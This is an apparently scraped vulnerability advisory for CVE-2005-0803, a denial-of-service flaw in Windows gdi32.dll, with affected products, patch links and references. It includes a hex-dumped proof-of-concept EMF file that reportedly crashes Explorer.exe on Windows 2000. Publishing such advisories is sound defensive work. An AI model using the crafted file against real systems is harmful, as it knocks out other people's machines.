Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
BID:12834
Info
Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
| Bugtraq ID: | 12834 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2005-0803 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Mar 17 2005 12:00AM |
| Updated: | Jul 12 2009 10:56AM |
| Credit: | Hongzhen Zhou <[email protected]> is credited with the discovery of this issue. |
| Vulnerable: |
Microsoft Windows XP Professional x64 Edition Microsoft Windows XP Professional SP2 Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Media Center Edition SP2 Microsoft Windows XP Media Center Edition SP1 Microsoft Windows XP Media Center Edition Microsoft Windows XP Home SP2 Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows Server 2003 Web Edition SP1 Microsoft Windows Server 2003 Web Edition Microsoft Windows Server 2003 Standard x64 Edition Microsoft Windows Server 2003 Standard Edition SP1 Microsoft Windows Server 2003 Standard Edition Microsoft Windows Server 2003 Enterprise x64 Edition Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 Microsoft Windows Server 2003 Enterprise Edition Itanium 0 Microsoft Windows Server 2003 Enterprise Edition SP1 Microsoft Windows Server 2003 Enterprise Edition Microsoft Windows Server 2003 Datacenter x64 Edition Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 Microsoft Windows Server 2003 Datacenter Edition Itanium 0 Microsoft Windows Server 2003 Datacenter Edition SP1 Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows 2000 Server SP4 Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server Microsoft Windows 2000 Professional SP4 Microsoft Windows 2000 Professional SP3 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional Microsoft Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP4 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server Avaya Unified Communications Center S3400 Avaya S8100 Media Servers R9 Avaya S8100 Media Servers R8 Avaya S8100 Media Servers R7 Avaya S8100 Media Servers R6 Avaya S8100 Media Servers R12 Avaya S8100 Media Servers R11 Avaya S8100 Media Servers R10 Avaya S8100 Media Servers 0 Avaya Modular Messaging (MAS) Avaya IP600 Media Servers R9 Avaya IP600 Media Servers R8 Avaya IP600 Media Servers R7 Avaya IP600 Media Servers R6 Avaya IP600 Media Servers R12 Avaya IP600 Media Servers R11 Avaya IP600 Media Servers R10 Avaya IP600 Media Servers Avaya DefinityOne Media Servers R9 Avaya DefinityOne Media Servers R8 Avaya DefinityOne Media Servers R7 Avaya DefinityOne Media Servers R6 Avaya DefinityOne Media Servers R12 Avaya DefinityOne Media Servers R11 Avaya DefinityOne Media Servers R10 Avaya DefinityOne Media Servers |
| Not Vulnerable: | |
Discussion
Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.
An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible.
Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.
An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible.
Exploit / POC
Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
The following proof of concept EMF file in hexadecimal format will reportedly trigger this issue in 'Explorer.exe' for Microsoft Windows 2000:
A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------
The following proof of concept EMF file in hexadecimal format will reportedly trigger this issue in 'Explorer.exe' for Microsoft Windows 2000:
A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------
Solution / Fix
Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
Solution:
Microsoft has released a bulletin that includes fixes to address this issue for supported versions of the operating system.
Avaya advisory ASA-2005-228 has been released to identify vulnerable Avaya packages. Avaya recommends customers to apply fixes supplied by Microsoft. Please see the referenced advisory for more information.
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows XP Media Center Edition SP2
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows XP Home SP2
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home SP1
Microsoft Windows Server 2003 Web Edition SP1
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
Microsoft Windows XP Professional SP2
Microsoft Windows Server 2003 Standard x64 Edition
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Professional SP4
Microsoft Windows XP Professional SP1
Solution:
Microsoft has released a bulletin that includes fixes to address this issue for supported versions of the operating system.
Avaya advisory ASA-2005-228 has been released to identify vulnerable Avaya packages. Avaya recommends customers to apply fixes supplied by Microsoft. Please see the referenced advisory for more information.
Microsoft Windows Server 2003 Datacenter Edition SP1
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows XP Media Center Edition SP2
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
-
Microsoft Security Update for Windows Server 2003 for Itanium-based systems (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CCFF22BB-ADC4 -4974-813C-7721BDB842C0&displaylang=en
Microsoft Windows XP Media Center Edition SP1
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
-
Microsoft Security Update for Windows Server 2003 for Itanium-based systems (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CCFF22BB-ADC4 -4974-813C-7721BDB842C0&displaylang=en
Microsoft Windows Server 2003 Standard Edition SP1
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows Server 2003 Standard Edition
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows Server 2003 Enterprise x64 Edition
-
Microsoft Security Update for Windows Server x64 Edition (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F1ADB6E4-0A08 -496C-B94C-A1B37178914A&displaylang=en
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
-
Microsoft Security Update for Windows Server 2003 for Itanium-based systems (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CCFF22BB-ADC4 -4974-813C-7721BDB842C0&displaylang=en
Microsoft Windows Server 2003 Datacenter x64 Edition
-
Microsoft Security Update for Windows Server x64 Edition (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F1ADB6E4-0A08 -496C-B94C-A1B37178914A&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition SP1
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows Server 2003 Datacenter Edition
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows 2000 Advanced Server SP4
-
Microsoft Security Update for Windows 2000 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F361FCCB-B273 -47E7-BB15-BC9C27073446&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows XP Home SP2
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
Microsoft Windows 2000 Datacenter Server SP4
-
Microsoft Security Update for Windows 2000 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F361FCCB-B273 -47E7-BB15-BC9C27073446&displaylang=en
Microsoft Windows Server 2003 Web Edition
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows XP Home SP1
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
Microsoft Windows Server 2003 Web Edition SP1
-
Microsoft Security Update for Windows Server 2003 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CEE3DD3B-3C20 -47A9-8BBD-1EA2FBB4AF96&displaylang=en
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
-
Microsoft Security Update for Windows Server 2003 for Itanium-based systems (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=CCFF22BB-ADC4 -4974-813C-7721BDB842C0&displaylang=en
Microsoft Windows XP Professional SP2
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
Microsoft Windows Server 2003 Standard x64 Edition
-
Microsoft Security Update for Windows Server x64 Edition (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F1ADB6E4-0A08 -496C-B94C-A1B37178914A&displaylang=en
Microsoft Windows 2000 Server SP4
-
Microsoft Security Update for Windows 2000 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F361FCCB-B273 -47E7-BB15-BC9C27073446&displaylang=en
Microsoft Windows 2000 Professional SP4
-
Microsoft Security Update for Windows 2000 (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=F361FCCB-B273 -47E7-BB15-BC9C27073446&displaylang=en
Microsoft Windows XP Professional SP1
-
Microsoft Security Update for Windows XP (KB896424)
http://www.microsoft.com/downloads/details.aspx?familyid=E38372B2-3BF6 -4393-B9A4-F34248C8073E&displaylang=en
References
Microsoft Windows Graphical Device Interface Library Denial Of Service Vulnerability
References:
References:
- ASA-2005-228 - Windows Security Updates for November 2005 - (MS05-053) (Avaya)
- Microsoft Security Bulletin MS05-053 (Microsoft)
- Windows 2000 Homepage (Microsoft)
- Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF (Hongzhen Zhou
)